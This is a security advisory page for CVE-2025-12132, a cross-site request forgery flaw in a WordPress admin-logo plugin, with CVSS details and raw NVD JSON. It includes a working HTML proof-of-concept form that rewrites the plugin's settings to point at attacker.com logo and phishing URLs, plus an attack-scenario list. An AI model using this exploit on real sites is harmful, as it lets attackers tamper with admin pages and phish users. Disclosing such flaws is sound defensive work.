Security Vulnerability Report
中文
CVE-2025-12132 CVSS 4.3 MEDIUM

CVE-2025-12132

Published: 2025-11-11 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The WP Custom Admin Login Page Logo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.8.4. This is due to missing or incorrect nonce validation on the wpclpl_save functionality. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Custom Admin Login Page Logo plugin <= 1.4.8.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12132 --> <!-- Exploit: Modify plugin settings via forged request --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-12132</title> </head> <body> <h1>CSRF PoC for WP Custom Admin Login Page Logo Plugin</h1> <p>Click the button below to trigger the forged request:</p> <!-- Auto-submit form --> <form id="csrfForm" action="http://target-site/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="wpclpl_save"> <input type="hidden" name="wpclpl_options[custom_logo]" value="https://attacker.com/malicious-logo.png"> <input type="hidden" name="wpclpl_options[custom_logo_url]" value="https://attacker.com/phishing-page"> <!-- Missing nonce field - this is the vulnerability --> </form> <button type="submit" onclick="this.innerHTML='Request Sent!'; document.getElementById('csrfForm').submit(); return false;"> Click Me (Social Engineering Required) </button> <script> // Auto-submit after page load (commented out to avoid accidental triggering) // window.onload = function() { document.getElementById('csrfForm').submit(); }; </script> <h2>Attack Scenario:</h2> <ul> <li>1. Attacker creates this malicious page</li> <li>2. Lures logged-in admin to visit the page</li> <li>3. Admin clicks the button (or page auto-submits)</li> <li>4. Browser sends authenticated request with admin cookies</li> <li>5. Server accepts request (missing nonce validation)</li> <li>6. Plugin settings are modified</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12132", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:46.523", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Custom Admin Login Page Logo plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.4.8.4. This is due to missing or incorrect nonce validation on the wpclpl_save functionality. This makes it possible for unauthenticated attackers to modify the plugin's settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://wordpress.org/plugins/wp-custom-login-page-logo/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6164b272-aa12-4ee3-a73a-64882ff5a899?source=cve", "source": "[email protected]"}]}}